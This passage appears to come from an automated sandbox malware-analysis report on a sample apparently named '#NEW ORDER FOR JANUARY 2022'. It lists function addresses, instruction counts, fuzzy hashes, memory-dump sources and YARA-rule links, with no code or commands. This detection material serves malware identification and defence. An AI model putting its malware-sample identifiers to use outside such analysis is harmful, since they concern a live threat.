Opcode Fuzzy Hash: 9bd9f842709932d4fa317a5520d71da30345583ff01bdabc0e3b5781a4c6e019
Instruction Fuzzy Hash: 0DA14A34B042098FCB14DFA9D5949AEB7B6BF85704B218569DD0AEB364DF70EC06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0581F8A0, Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02dde914fdb8f53a2725d8580060b15348daa62f98908ac87f5745790c36a361
Instruction ID: 433d3d22ef760c092bb720cd1c45da86273f2f6e9ae44550ff0275558e320a17
Opcode Fuzzy Hash: 02dde914fdb8f53a2725d8580060b15348daa62f98908ac87f5745790c36a361
Instruction Fuzzy Hash: 7081A035B002048FCB14DB79D55496AB7FAFF88214B1584A9DE1ADB361DF34EC01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0176AA70, Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cba4699b1dc75ced48062690ab0e7b1b3f3e8fad8dbdb7754dd8d8eb55d14069
Instruction ID: 2eb95b1314debf07198819fb3ed1630a7e480b21d7fd3c2471edfcea76097afb
Opcode Fuzzy Hash: cba4699b1dc75ced48062690ab0e7b1b3f3e8fad8dbdb7754dd8d8eb55d14069
Instruction Fuzzy Hash: 3AA128746007069FC744EF28D48485ABBB2FF9962475589A8E54ACB372DF30FC46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05814BF0, Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e40e89d549fec8620769851b8ccfc353a0c77844ef12641e3fb6144a7645c36f
Instruction ID: d452e8d213a2785748921378e6cbe378c69a3a9e2678c264228628a3c439b258
Opcode Fuzzy Hash: e40e89d549fec8620769851b8ccfc353a0c77844ef12641e3fb6144a7645c36f
Instruction Fuzzy Hash: 327160347142148FCB149B39D858E2ABBEABF89755B1580AEE906CB3B2DF71DC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0176FD70, Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93e5427466e493f96ac9071119018944f928efc62f09abc489f43dc709ddfcf0
Instruction ID: 53f75c901147d7b4c58f503487359565c021fc31b13cf1b042e11ff13ace10de
Opcode Fuzzy Hash: 93e5427466e493f96ac9071119018944f928efc62f09abc489f43dc709ddfcf0
Instruction Fuzzy Hash: 77617074B002059FDB08AF69E8586AEBBBAFFC8700F548029E906D7395DF35DC418B91

Uniqueness

Uniqueness Score: -1.00%

Function 058156A0, Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac3927a41257ec3566156f2a714d6b0752328c35de82858ed641df5fd448fc90
Instruction ID: 2518c8d306e296c8b6e7bdb9fe34b7134eb9226de3e476903c96064c1ffab30c
Opcode Fuzzy Hash: ac3927a41257ec3566156f2a714d6b0752328c35de82858ed641df5fd448fc90
Instruction Fuzzy Hash: 09814C75B002198FCB14DF68D4859AEBBFAFF88214B1584AAEC15DB361DB30EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0176CA48, Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b4f41c11f4172876a15fd555301730fbddf380efcf345674c5aaab7590824f1
Instruction ID: 9f44490619402755b6a86db4bd36c80593dfcfcc155b9e6bcb39f338eec8fed6
Opcode Fuzzy Hash: 8b4f41c11f4172876a15fd555301730fbddf380efcf345674c5aaab7590824f1
Instruction Fuzzy Hash: 9161A171A046098FCB11DF58D4849AEFBB6FF84224B15C959D559DB212DB31FC06CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0581BFE8, Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1abd1776a1a7d5ca1740aa4f5921d3e24b377688301288fa0d35baa92e04723b
Instruction ID: f3dc065332649c373f31c1ecb82c49172ca4e5e6d045080fafc9a1f921b265cf
Opcode Fuzzy Hash: 1abd1776a1a7d5ca1740aa4f5921d3e24b377688301288fa0d35baa92e04723b
Instruction Fuzzy Hash: F6718B34A046098FCB18DFA4D49499EBBF6FF85704B118569D90AEB364DF74EC06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 058144DF, Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb076b137a2ce80619102d34e8ad17b8ec066e3fe0e348c773418ca76d51308
Instruction ID: c960eedb6faec75855253ecf4ba01f07c7927c6e0e31b588d202422eddb6cf80
Opcode Fuzzy Hash: 9fb076b137a2ce80619102d34e8ad17b8ec066e3fe0e348c773418ca76d51308
Instruction Fuzzy Hash: C5613734F142198FDB14DB69D894AAEB7FABF88744F158069DD06EB360DB70DC028B94

Uniqueness

Uniqueness Score: -1.00%

Function 0581BC38, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c041b9b66b9e186518d86199929e6c0d693e537d741d48061399609201e88480
Instruction ID: d18fb2725d1fb9b59663de18cea47645170085e4fffc7a327760e2173d057b07
Opcode Fuzzy Hash: c041b9b66b9e186518d86199929e6c0d693e537d741d48061399609201e88480
Instruction Fuzzy Hash: BE612939A00204CFCB28DF65D458AA9B7BAFF88355F118069ED06E7360DB34EC41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 05816598, Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f84a4ed53755474764dd53310f97e0b5d02eb7874c0d85e89139e67fb836347
Instruction ID: 49d8809253ef25e35a1462b4ed33dcc72b65d8056405529469f3995f4903a9ef
Opcode Fuzzy Hash: 7f84a4ed53755474764dd53310f97e0b5d02eb7874c0d85e89139e67fb836347
Instruction Fuzzy Hash: 7451C475B00205CFCB10DF69D48499EBBFAFF88224B1584AAD945D7721EB31EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0581FBB8, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b0e4c77dc334a71ae677cb5c3ac8a9bba7517b83cdd160527884d4085b15d45
Instruction ID: f64e41e1ada5d808bc1517c22b5bedfcafd24a43bc0a2075270a5ca38a9e7e31
Opcode Fuzzy Hash: 8b0e4c77dc334a71ae677cb5c3ac8a9bba7517b83cdd160527884d4085b15d45
Instruction Fuzzy Hash: 9B512A75A002159FCB15CF68D488AADBBF6BF49310F1581A9EC05EB362DB30EC81DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0581A3C9, Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f727b1bbd3f7aae0dca2e85c9e9e5b13598f27592d882d0da04140d44a503840
Instruction ID: 1bd04cfad7e4fa7d52cf733b23838129b7809f88a58dd1e352abc123b00aad9c
Opcode Fuzzy Hash: f727b1bbd3f7aae0dca2e85c9e9e5b13598f27592d882d0da04140d44a503840
Instruction Fuzzy Hash: A9414E34A012059BCB18DF68E495A9EB7BAFF88614F50842CED56E7350DF31ED05CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0581D2C0, Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22820006fa8c9387b7684a0f81e8bef6a36f5b00acb4a1312d5c6ccbaf9447b5
Instruction ID: 6d4ddd806545b0cef1a8342877fb027c9c2378a6ac654e2ad32425c6f5071020
Opcode Fuzzy Hash: 22820006fa8c9387b7684a0f81e8bef6a36f5b00acb4a1312d5c6ccbaf9447b5
Instruction Fuzzy Hash: A44113357016058FDB14DBA9D884A6FBBBAFFC4214B15846ADC09CB751EB30EC02C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 0176E278, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0df03dfeb9dd6d849e3e8435a1e2e6ee93ea571c8ffb262a24c6f2441c2e54ff
Instruction ID: 15378a68393786b6cb8382e7e29ea6b27da469fb238e4ac04708f45d2457ba3d
Opcode Fuzzy Hash: 0df03dfeb9dd6d849e3e8435a1e2e6ee93ea571c8ffb262a24c6f2441c2e54ff
Instruction Fuzzy Hash: 62418A343007018FD314EB34E499A2A77A3FBD4614B55CA2CE5478B790DF30E80ADBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05818917, Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de2f84a2aa1057c6917113271941fd545f65b1297e824a0c1459cbace8bde55e
Instruction ID: e2617782814a3589826d6d3ad256776242d373ba0bef3ffcd6f03e10a50f2b7a
Opcode Fuzzy Hash: de2f84a2aa1057c6917113271941fd545f65b1297e824a0c1459cbace8bde55e
Instruction Fuzzy Hash: 3C51D635A00209AFDB05CF98D485A9DBBB6FF48314F25C558E805AB361CB76ED82CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05815F60, Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e0f4895ead4f2e120cf247a9311b2a40cbde88a28114430bc3083b33950b65c
Instruction ID: d3605c65f41ba189c4a6e276a214634a7bb0373efcbc5139cd769101f3e11b32
Opcode Fuzzy Hash: 8e0f4895ead4f2e120cf247a9311b2a40cbde88a28114430bc3083b33950b65c
Instruction Fuzzy Hash: 3E413434A006069FCB14CF59C88096ABBF6FF89310B15C999E99ADB661E731FC01CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0581DC58, Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fdade657a826c0d6160be7bc7bb54ed88e2776d21be4a798fa026f66f4a8768
Instruction ID: 0dfdd7ace17ddbbeca9e231c1dc325ecdd5db2e98438f05b5c09bcae7629c6d2
Opcode Fuzzy Hash: 8fdade657a826c0d6160be7bc7bb54ed88e2776d21be4a798fa026f66f4a8768
Instruction Fuzzy Hash: AA418CB57053049FC714DF68D8849AABBF9FF89314B1088A9E809CB341D730EC46CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05813CC3, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c4a4596ae5243b2477e2fa7d544c567308a527dd1976619ed1d782df49a3d28
Instruction ID: f9f5a3d5f68a603fbce33a2f59bd596d43d2e27801c728bd19968d82fb9c661d
Opcode Fuzzy Hash: 8c4a4596ae5243b2477e2fa7d544c567308a527dd1976619ed1d782df49a3d28
Instruction Fuzzy Hash: 28413634B006058FD714CF59C080A7AB7F6FB88314B26C969D86ADB751DB30EC42CB98

Uniqueness

Uniqueness Score: -1.00%

Function 05813CE3, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae2822506bc63cebf1128bbff239976e26c538d08fcf0c0b1e9c6fbfc140b46b
Instruction ID: 687018094e98f8a196242f0e9180ce62be85aeea8120b2295d10b194e44a438b
Opcode Fuzzy Hash: ae2822506bc63cebf1128bbff239976e26c538d08fcf0c0b1e9c6fbfc140b46b
Instruction Fuzzy Hash: 22414534B006058FDB14DF69C484A6AB7F6FF88314B15C969D85AEB761DB30EC41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0176D280, Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4fbd66af24f3994b6b8bd20fee7d8659c6230f3e71e93ffdd5e6620ae8ef1aa
Instruction ID: c1d210579091fa4a88f5657ae1b26b334349f7745d6d941ce0924f3358c74e91
Opcode Fuzzy Hash: d4fbd66af24f3994b6b8bd20fee7d8659c6230f3e71e93ffdd5e6620ae8ef1aa
Instruction Fuzzy Hash: 95419270200B015FD354EF25E485A5AB7B2FF91628F91CD6CC1868F6A1DF74F80A9BA1

Uniqueness

Uniqueness Score: -1.00%

Function 017605C7, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16631c656d2f882c5a7e65c5b5c1ee9350fb76608cb8cb96209958d5f46b486
Instruction ID: 01c66e92aa5293c5f58aa87be9aac4f471737e154a86338589ae90059a9419cf
Opcode Fuzzy Hash: b16631c656d2f882c5a7e65c5b5c1ee9350fb76608cb8cb96209958d5f46b486
Instruction Fuzzy Hash: 01311934B101149FCB14DFA8D598A6DBBF6EF88714F2541A9E906DB7A0CB71DC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05815B11, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9f21645802ee6930b3a09d807ba6ade00e9658831e5a57add523b906e3ee46b
Instruction ID: 061eaec9c2d5bf3bd41d3a8d9248ff811130af30cb4d9938a9e4a75ee878d69b
Opcode Fuzzy Hash: e9f21645802ee6930b3a09d807ba6ade00e9658831e5a57add523b906e3ee46b
Instruction Fuzzy Hash: 8B318B34B006549FCB15DF38E888A6A7BB6FF89210B1084A9ED06CB391DF31DD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01760A28, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1edc5e83094378dd9284b48cb0d1018be75335a6c5b8ad94814ce60e3c9a35fc
Instruction ID: d3e260b37bd7760f19227bbf1a9e154d91fb40a8d8931cbee52d6cb7deecab25
Opcode Fuzzy Hash: 1edc5e83094378dd9284b48cb0d1018be75335a6c5b8ad94814ce60e3c9a35fc
Instruction Fuzzy Hash: 6E319F31B002089FD705ABB9985467FB6BBEBC8A14F68803DE505D7384DE76DD428BA1

Uniqueness

Uniqueness Score: -1.00%

Function 017605D8, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa7bdca38b8f231675e9b0d0d939ad7272c2a51a5360e97e6032dc5f52eda42
Instruction ID: 6b89313bdbc1b741b435e493b2ab97f27c0cc96c34a95548249845660ba272f4
Opcode Fuzzy Hash: 2aa7bdca38b8f231675e9b0d0d939ad7272c2a51a5360e97e6032dc5f52eda42
Instruction Fuzzy Hash: B8312A34B101149FCB14DFA9D598A6DBBF6AF88714F2540A9E506DB7A0CB71EC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05815B20, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7a4b6ded057d029faa47e406e26f0d345a3eb3731cb60cdb6d938545d78c80e
Instruction ID: f30239e03815e86b5306db817eb1c165de4ac357e718121096f0c747362c0b02
Opcode Fuzzy Hash: e7a4b6ded057d029faa47e406e26f0d345a3eb3731cb60cdb6d938545d78c80e
Instruction Fuzzy Hash: 8C316734B002149FCB15DF38E88896ABBB6FF89210B1084A9ED06CB355DF31ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05819CD8, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3ab6d7539d014f6c0b5fa8c1913f1feea05412abf124ef895732bf3a82094b8
Instruction ID: d8076f2101279f817f3188c84a4929cf85afc69e693a403f2aedfa30ef9562b1
Opcode Fuzzy Hash: b3ab6d7539d014f6c0b5fa8c1913f1feea05412abf124ef895732bf3a82094b8
Instruction Fuzzy Hash: EF316D71B002049FCB06DF68D894A7EBBBAEF88210F14806AE949DB361CF71DD01DB51

Uniqueness

Uniqueness Score: -1.00%

Function 01760A38, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c6fdfff29225c838853361abb9df7f75a27efc23da670cc06e75fdd7c683f6c
Instruction ID: 5e5eeb1a859e1f735fac5f45d62fd66cb6c3ecbd4a2ce351c6066c465b7dd5d2
Opcode Fuzzy Hash: 7c6fdfff29225c838853361abb9df7f75a27efc23da670cc06e75fdd7c683f6c
Instruction Fuzzy Hash: 60215E71B002085FD705ABB9985467FB6BFEBC8A10F68802DE505D3784DE75DD424BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0581B793, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87ce86fa3db73380911ebedb13211a70975fea2d443416efe1447c63963cdc00
Instruction ID: 120a0f765d3addbf1ccf8e5f765c3fb9b860d5a0724524e8987d1c1fd314a80f
Opcode Fuzzy Hash: 87ce86fa3db73380911ebedb13211a70975fea2d443416efe1447c63963cdc00
Instruction Fuzzy Hash: 67318B74B002048FDB149BB5A9486AABBBAFB89305F548438ED16DB385DF35EC05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0581D408, Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52df2597ec466bd3788a993a468fbff5c18c32344faada9a31c8acea91420275
Instruction ID: f30b2d18da561d5e4338dcdb754a26a6a6384f61762240a4b6c0de35b8983a64
Opcode Fuzzy Hash: 52df2597ec466bd3788a993a468fbff5c18c32344faada9a31c8acea91420275
Instruction Fuzzy Hash: 0F2139753101208FCB04DF29D498A2A7BEAAF8965071541B9EE0ACF371DF71EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0176D830, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d70bbcd38c15f205e916790c1db09d8771dca9679f02ba81594e73de3f1e34a
Instruction ID: ea67cc9c595c7f758f956cd1878c3dddb0dabde5fba5b443fa529d3034765393
Opcode Fuzzy Hash: 9d70bbcd38c15f205e916790c1db09d8771dca9679f02ba81594e73de3f1e34a
Instruction Fuzzy Hash: 342141347007055BE708BB71F855A3E2663FBD0A28F59CD2CD6029B294DE759C0A6BE4

Uniqueness

Uniqueness Score: -1.00%

Function 0581AA30, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf5af6f83a4b18ae4e9f48661d3c4b0e45ad1de78a9d7e6dafecdec67181eba
Instruction ID: 7056258e951f5263dc401c9c13f17445ba8a7f467eb812eef556d1107091cc98
Opcode Fuzzy Hash: daf5af6f83a4b18ae4e9f48661d3c4b0e45ad1de78a9d7e6dafecdec67181eba
Instruction Fuzzy Hash: 743147757012058FC718CF68D588AAA77FAFF49314B158469E90ADB261DB31ED80CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 058168B0, Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 034a7620c0db0dc8c2780859a755dd2618259c2d037ea1bb851d2ad2e38acd6e
Instruction ID: 00cf212973b7ce0af0d95e6236c119a36fefe164008134b77bc7c9c8fc8cf622
Opcode Fuzzy Hash: 034a7620c0db0dc8c2780859a755dd2618259c2d037ea1bb851d2ad2e38acd6e
Instruction Fuzzy Hash: EE216A75B002148F8B14EF69D4848AEB7FAFF8821476080B9ED06DB365DB31DC12CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0176EF48, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73a2fb39c99aff1d24d592c961589585a0456e33d27737b8eb1be968effac63f
Instruction ID: c3919bffd70ada6b6535e32c6c8584ee19046379ebb75318123397882dec8501
Opcode Fuzzy Hash: 73a2fb39c99aff1d24d592c961589585a0456e33d27737b8eb1be968effac63f
Instruction Fuzzy Hash: F511D3352046458FC711DB18D4848A6FBE9EB4536072ACABAE85ACB653DF20EC47CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0581C968, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acd356ebd831aa49adbf6a75a06c95c13b492393b22d295e3925b2e2170ed154
Instruction ID: 56dc750a95cd18716c06a36112a0cd58d2b06bc80ac114997b8a53346269a0fd
Opcode Fuzzy Hash: acd356ebd831aa49adbf6a75a06c95c13b492393b22d295e3925b2e2170ed154
Instruction Fuzzy Hash: 28110C72B442244FD3258A69E850F2BB7E9EB88761F11413AEE09DB350DE71DC0187D4

Uniqueness

Uniqueness Score: -1.00%

Function 058168A0, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 064b1aaa00d9aff48f58b55edf02b195747c02f580c9846693e4be7ed3174b70
Instruction ID: 8629203f557d31fae2028d17c3369991fd9b707bf34fe908a1a6d1f10e3ae6c9
Opcode Fuzzy Hash: 064b1aaa00d9aff48f58b55edf02b195747c02f580c9846693e4be7ed3174b70
Instruction Fuzzy Hash: 6C117C70B106158FCB14DF68D89896F7BEAFF89214B1481A9EC06DB3A5DB31DC028B91

Uniqueness

Uniqueness Score: -1.00%

Function 0581DC48, Relevance: .1, Instructions: 62COMMON

Download Yara Rule
